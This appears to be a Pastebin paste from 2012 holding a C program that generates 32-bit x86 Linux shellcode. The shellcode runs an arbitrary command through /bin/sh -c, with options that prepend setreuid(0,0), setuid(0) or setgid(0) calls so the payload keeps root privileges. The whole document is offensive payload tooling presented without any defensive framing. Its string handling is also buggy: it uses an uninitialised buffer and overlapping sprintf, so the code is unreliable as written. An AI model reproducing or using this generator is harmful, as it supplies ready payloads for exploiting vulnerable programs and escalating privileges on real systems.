emS-St1ks

old null generator Linux

Jun 15th, 2012
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.61 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc, char **argv)  {
  6.  
  7.       if (!argv[1]) {
  8.             printf("Use: %s <option> command\n\n"
  9.                    "Options:\n"
  10.                    "     -r   add setreuid(0,0) to the shellcode\n"
  11.                    "     -u   add setuid(0)\n"
  12.                    "     -g   add setgid(0)\n"
  13.                    "     -ug  add setuid(0) and setgid(0)\n", argv[0]);
  14.             exit(1);
  15.       }
  16.  
  17.       char code[0x100] = {0};
  18.  
  19.       char base[] =
  20.       "\\x52"               // push %edx
  21.       "\\x68\\x6e\\x2f\\x73\\x68"   // push $0x68732f6e
  22.       "\\x68\\x2f\\x2f\\x62\\x69"   // push $0x69622f2f
  23.       "\\x89\\xe3"          // mov  %esp,%ebx
  24.       "\\x52"               // push %edx
  25.       "\\x68\\x2d\\x63\\x63\\x63"   // push $0x6363632d
  26.       "\\x89\\xe1"          // mov  %esp,%ecx
  27.       "\\x52"               // push %edx
  28.       "\\xeb\\x07"          // jmp  cmd
  29.       "\\x51"               // push %ecx
  30.       "\\x53"               // push %ebx
  31.       "\\x89\\xe1"          // mov  %esp,%ecx
  32.       "\\xcd\\x80"          // int  $0x80
  33.       "\\x61"               // popa
  34.       "\\xe8\\xf4\\xff\\xff\\xff";  // call l1
  35.  
  36.       int opt;
  37.  
  38.       if (strcmp(argv[1],"-r")==0) {
  39.             sprintf(code,
  40.       "\\x60"                           // pusha
  41.       "\\x31\\xc0"          // xor  %eax,%eax
  42.       "\\x99"               // cltd
  43.       "\\xb0\\x46"          // mov  $0x46,%al
  44.       "\\x31\\xdb"          // xor  %ebx,%ebx
  45.       "\\x31\\xc9"          // xor  %ecx,%ecx
  46.       "\\xcd\\x80"          // int  $0x80
  47.       "\\xb0\\x0b"                      // mov  $0x0b,%al
  48.             "%s",base);
  49.             opt=2;
  50.       } else if (strcmp(argv[1],"-u")==0) {
  51.             sprintf(code,
  52.       "\\x60"                           // pusha
  53.       "\\x31\\xc0"          // xor  %eax,%eax
  54.       "\\x99"               // cltd
  55.       "\\xb0\\x17"          // mov  $0x17,%al
  56.       "\\x31\\xdb"          // xor  %ebx,%ebx
  57.       "\\xcd\\x80"          // int  $0x80
  58.       "\\xb0\\x0b"                      // mov  $0x0b,%al
  59.       "%s",base);
  60.             opt=2;
  61.       } else if (strcmp(argv[1],"-g")==0) {
  62.             sprintf(code,
  63.       "\\x60"                           // pusha
  64.       "\\x31\\xc0"          // xor  %eax,%eax
  65.       "\\x99"               // cltd
  66.       "\\xb0\\x2e"          // mov  $0x2e,%al
  67.       "\\x31\\xdb"          // xor  %ebx,%ebx
  68.       "\\xcd\\x80"          // int  $0x80
  69.       "\\xb0\\x0b"                      // mov  $0x0b,%al
  70.       "%s",base);
  71.             opt=2;
  72.       } else if (strcmp(argv[1],"-ug")==0) {
  73.             sprintf(code,
  74.       "\\x60"                           // pusha
  75.       "\\x31\\xc0"          // xor  %eax,%eax
  76.       "\\x99"               // cltd
  77.       "\\xb0\\x17"          // mov  $0x17,%al
  78.       "\\x31\\xdb"          // xor  %ebx,%ebx
  79.       "\\xcd\\x80"          // int  $0x80
  80.       "\\xb0\\x2e"          // mov  $0x2e,%al
  81.       "\\xcd\\x80"          // int  $0x80
  82.       "\\xb0\\x0b"                      // mov  $0x0b,%al
  83.       "%s",base);
  84.             opt=2;
  85.       } else {
  86.             sprintf(code,
  87.       "\\x60"               // pusha
  88.       "\\x6a\\x0b"                      // push $0x0b
  89.       "\\x58"               // pop  %eax
  90.       "\\x99"               // cltd
  91.       "%s",base);
  92.             opt=1;
  93.       }
  94.  
  95.       int i,len=0;
  96.       char *shell,*cmd;
  97.  
  98.       for (i=opt; i<argc; i++)
  99.               len += strlen(argv[i]);
  100.       len += argc;
  101.  
  102.       cmd = (char*) malloc(len);
  103.  
  104.       for (i=opt; i<argc; i++)  {
  105.               strcat (cmd,argv[i]);
  106.               strcat (cmd,"\x20");
  107.       }
  108.  
  109.       cmd[strlen(cmd)-1]=0;
  110.       shell = (char*) malloc( sizeof(code) + (strlen(argv[opt]))*5 + 1 );
  111.       memcpy (shell,code,sizeof(code));
  112.  
  113.       for (i=0; i<strlen(cmd); i++)
  114.               sprintf (shell,"%s\\x%.2x",shell,cmd[i]);
  115.       printf ("Size: %d bytes\n%s\n",strlen(shell)/4,shell);
  116.  
  117.       return 0;
  118. }
Advertisement
Add Comment
Please, Sign In to add comment